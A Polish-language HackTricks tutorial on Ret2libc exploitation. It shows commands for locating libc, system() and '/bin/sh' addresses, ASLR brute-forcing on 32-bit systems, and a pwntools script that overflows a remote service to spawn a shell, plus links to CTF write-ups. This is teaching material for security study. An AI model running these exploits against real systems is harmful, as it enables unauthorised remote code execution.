Ret2lib
Reading time: 6 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe informacje
Istotą Ret2Libc jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. system, execve, strcpy) zamiast wykonywania dostarczonego przez atakującego shellcode na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteki, jednocześnie zapewniając, że wszelkie niezbędne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
Przykładowe kroki (uproszczone)
- Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
- Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg polecenia i przepływ wykonania do funkcji
Znajdowanie adresów
- Zakładając, że używana
libc
to ta z bieżącej maszyny, możesz znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Znając używaną libc, możliwe jest również znalezienie przesunięcia do funkcji
system
za pomocą:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Znając używaną libc, możliwe jest również znalezienie offsetu do funkcji łańcucha
/bin/sh
za pomocą:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Używanie gdb-peda / GEF
Znając używaną libc, możliwe jest również użycie Peda lub GEF do uzyskania adresu funkcji system, funkcji exit oraz ciągu /bin/sh
:
p system
p exit
find "/bin/sh"
Używanie /proc/<PID>/maps
Jeśli proces tworzy dzieci za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj przeczytać ten plik (prawdopodobnie będziesz musiał być rootem).
Tutaj możesz znaleźć dokładnie, gdzie załadowana jest libc wewnątrz procesu i gdzie będzie załadowana dla każdego dziecka procesu.
W tym przypadku jest załadowana w 0xb75dc000 (To będzie adres bazowy libc)
Nieznana libc
Może się zdarzyć, że nie znasz libc, którą ładowany jest binarny plik (ponieważ może być zlokalizowany na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać lukę, aby ujawnić kilka adresów i znaleźć, która biblioteka libc jest używana:
{{#ref}} rop-leaking-libc-address/ {{#endref}}
A szablon pwntools do tego znajdziesz w:
{{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}}
Poznanie libc z 2 offsetami
Sprawdź stronę https://libc.blukat.me/ i użyj kilku adresów funkcji wewnątrz libc, aby dowiedzieć się o używanej wersji.
Ominięcie ASLR w 32 bitach
Te ataki brute-force są przydatne tylko dla systemów 32-bitowych.
- Jeśli exploit jest lokalny, możesz spróbować brute-force'ować adres bazowy libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować brute-force'ować adres funkcji
libc
usleep
, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer zajmuje dodatkowe 10s na odpowiedź, znalazłeś adres tej funkcji.
One Gadget
Wykonaj powłokę, skacząc do jednego konkretnego adresu w libc:
{{#ref}} one-gadget.md {{#endref}}
x86 Ret2lib Code Example
W tym przykładzie brute-force ASLR jest zintegrowany w kodzie, a podatny plik binarny znajduje się na zdalnym serwerze:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Example
Sprawdź przykład z:
{{#ref}} ../ {{#endref}}
ARM64 Ret2lib Example
W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Więc jest to trochę bardziej skomplikowane.
Również w ARM64 instrukcja robi to, co instrukcja robi (nie można skakać w środku instrukcji i przekształcać ich w nowe).
Sprawdź przykład z:
{{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}}
Ret-into-printf (lub puts)
To pozwala na wyciek informacji z procesu poprzez wywołanie printf
/puts
z pewnymi specyficznymi danymi umieszczonymi jako argument. Na przykład umieszczenie adresu puts
w GOT w wykonaniu puts
spowoduje wyciek adresu puts
w pamięci.
Ret2printf
To zasadniczo oznacza nadużywanie Ret2lib, aby przekształcić go w podatność na formatowanie ciągów printf
poprzez użycie ret2lib
do wywołania printf z wartościami do wykorzystania (brzmi bezużytecznie, ale możliwe):
{{#ref}} ../../format-strings/ {{#endref}}
Inne przykłady i odniesienia
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, podając wyciek do adresu funkcji w libc, używając jednego gadżetu
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bity, ASLR włączone, ale bez PIE, pierwszym krokiem jest wypełnienie przepełnienia do bajtu 0x00 kanarka, aby następnie wywołać puts i wyciek. Z kanarkiem tworzony jest gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie gadżet ROP do wywołania
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bity, ASLR włączone, brak kanarka, przepełnienie stosu w main z funkcji potomnej. Gadżet ROP do wywołania puts, aby wyciekł adres puts z GOT, a następnie wywołanie jednego gadżetu.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bity, brak pie, brak kanarka, brak relro, nx. Używa funkcji write do wycieku adresu write (libc) i wywołuje jeden gadżet.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Używa ciągu formatu do wycieku kanarka ze stosu i przepełnienia bufora do wywołania system (jest w GOT) z adresem
/bin/sh
. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bity, brak relro, brak kanarka, nx, pie. Nadużywa złego indeksowania, aby wyciekać adresy libc i heap ze stosu. Nadużywa przepełnienia bufora, aby wykonać ret2lib wywołując
system('/bin/sh')
(adres heap jest potrzebny do ominięcia sprawdzenia).
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.